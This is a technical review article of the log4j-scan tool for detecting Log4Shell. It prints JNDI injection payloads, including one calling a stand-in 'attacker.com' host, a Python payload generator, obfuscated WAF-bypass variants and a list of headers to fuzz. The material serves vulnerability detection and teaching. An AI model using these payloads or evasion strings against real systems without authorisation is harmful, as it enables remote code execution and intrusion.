Back to Articles

How log4j-scan Weaponized DNS Callbacks to Hunt a Zero-Day at Internet Scale

[ View on GitHub ]

How log4j-scan Weaponized DNS Callbacks to Hunt a Zero-Day at Internet Scale

Hook

Within 72 hours of Log4Shell's disclosure in December 2021, this scanner had tested millions of endpoints by injecting JNDI payloads into HTTP headers most security teams didn't even know existed.

Context

When CVE-2021-44228 dropped on December 9, 2021, it became immediately clear this wasn't just another vulnerability—it was a category-defining security event. Apache Log4j, embedded in countless Java applications from Minecraft servers to enterprise software, could execute arbitrary code through a simple string logged to a file. The exploit was trivial: ${jndi:ldap://attacker.com/a} in any logged input could hand over your server.

The security community faced an unprecedented challenge: how do you find this vulnerability across your entire attack surface when it could be hiding in any parameter, any header, any JSON field that eventually gets logged? Traditional vulnerability scanners weren't designed for this kind of comprehensive fuzzing. You couldn't just check a version number—you needed to actually trigger the vulnerability and confirm exploitation. The fullhunt team built log4j-scan to solve this detection problem through exhaustive testing combined with out-of-band DNS callbacks, effectively turning every HTTP request into a potential canary.

Technical Insight

Bypass Techniques

Detection Engine

60+ Headers

POST Params

JSON Body

Unique ID per test

Vulnerable?

DNS Query

Callback detected

Generate unique IDs

Match callbacks

URL List Input

Payload Generator

Injection Points

HTTP Request Builder

Target Server

Log4j JNDI Lookup

OOB Callback Service

interact.sh/dnslog.cn

Vulnerability Confirmed

Identifier Tracker

WAF Evasion Payloads

Obfuscated JNDI

System architecture — auto-generated

The genius of log4j-scan lies in its systematic approach to vulnerability confirmation through DNS exfiltration. Rather than relying on response-based detection (which WAFs could easily block), the tool exploits the fact that Log4j's JNDI lookup happens server-side regardless of the HTTP response. When ${jndi:ldap://unique-id.attacker.com/a} gets logged, the vulnerable server makes a DNS query that the attacker controls—an out-of-band callback that's nearly impossible to prevent without patching.

The scanner generates unique identifiers for each test and embeds them in JNDI payloads across 60+ injection points. Here's how it constructs a basic payload:

# Simplified payload generation from the tool's core logic
def generate_payload(callback_host, identifier):
    payloads = [
        f"${{jndi:ldap://{identifier}.{callback_host}}}",
        f"${{jndi:ldap://{identifier}.{callback_host}/a}}",
        f"${{jndi:rmi://{identifier}.{callback_host}/a}}",
        # Bypass attempts for patched versions
        f"${{jndi:ldap://127.0.0.1#.{identifier}.{callback_host}/a}}",
        f"${{jndi:${lower:l}${lower:d}a${lower:p}://{identifier}.{callback_host}}}",
    ]
    return payloads

# The scanner injects these into headers, parameters, and body
headers_to_fuzz = [
    'User-Agent', 'Referer', 'X-Forwarded-For', 'X-Client-IP',
    'X-Api-Version', 'X-Druid-Comment', 'X-Requested-With',
    # ... 50+ more headers most scanners ignore
]

What separates this tool from basic PoC scripts is the header coverage. Most vulnerability scanners test User-Agent, Referer, and maybe X-Forwarded-For. Log4j-scan fuzzes 60+ headers including obscure ones like X-Druid-Comment, Accept-Language, and even cookie values. This matters because developers log everything—sometimes a backend service logs the X-Api-Version header for debugging, or a WAF logs the Accept-Charset value. Each logged field is a potential exploitation vector.

The WAF bypass payloads showcase sophisticated evasion techniques. Log4j's recursive lookup behavior allows nested payloads like ${${lower:j}ndi:ldap://...} that evaluate to the malicious JNDI string after WAF inspection. The tool includes obfuscation variations using ${lower:}, ${upper:}, and environment variable expansions that only resolve after passing through security controls:

# WAF bypass payload examples from the codebase
waf_bypass_payloads = [
    "${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//...",
    "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://...",
    "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://...}",
]

The DNS callback mechanism integrates with interact.sh (from ProjectDiscovery) or dnslog.cn, which provide temporary DNS servers that capture lookup requests. After sending payloads, the scanner polls these services for any DNS queries matching the unique identifiers. A confirmed DNS callback definitively proves exploitation—the vulnerable server executed your JNDI expression and performed the lookup.

The tool's approach to timing is particularly thoughtful. It includes a configurable wait time (default 30 seconds) between sending payloads and checking for callbacks, accounting for slow applications or rate-limited backends. For bulk scanning, it processes URLs sequentially but batches the callback checks, improving efficiency while maintaining accuracy.

Extending beyond the original CVE-2021-44228, the scanner evolved to detect CVE-2021-45046 (the incomplete patch that still allowed DOS and potential RCE) and CVE-2022-42889 (Apache Commons Text RCE with similar ${script:} injection patterns). This architectural flexibility—building a fuzzing engine around DNS callbacks—proved more durable than single-CVE checkers.

Gotcha

The reliance on external DNS callback providers is both the tool's strength and its Achilles heel. Interact.sh can experience downtime or rate limiting during heavy usage, and dnslog.cn has had reliability issues. For sensitive engagements, sending unique identifiers (which could include target information) to third-party DNS services raises operational security concerns. The tool supports custom callback hosts, but this requires you to run your own DNS server with an API—significantly increasing setup complexity.

Timing-based detection has inherent accuracy challenges. The default 30-second wait assumes callbacks arrive quickly, but some application architectures delay logging, or batch log processing jobs might run hourly. You could get false negatives on vulnerable systems that simply haven't triggered the callback yet. Conversely, the synchronous scanning model means testing 1,000 URLs takes substantial time, making this unsuitable for continuous monitoring or large-scale asset discovery. The tool also lacks retry logic for network failures or transient errors, so a single dropped request could miss a vulnerable endpoint.

Verdict

Use if: You're conducting security assessments on legacy infrastructure where Log4j vulnerabilities remain unpatched, especially in environments with WAFs or security controls where basic scanners fail. This tool excels during incident response scenarios where you need to definitively confirm exploitation across your estate, or in penetration testing engagements where comprehensive header fuzzing reveals forgotten endpoints. It's valuable for compliance audits requiring proof of remediation through active testing. Skip if: You're securing modern, actively maintained systems where Log4j has been patched for years—your time is better spent on current threat vectors. Also skip it if you need real-time continuous monitoring; the synchronous scanning model and dependency on external DNS services make it unsuitable for automated security pipelines. For general vulnerability scanning in 2024+, tools like Nuclei offer broader coverage with better performance characteristics.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/automation/fullhunt-log4j-scan.svg)](https://starlog.is/api/badge-click/automation/fullhunt-log4j-scan)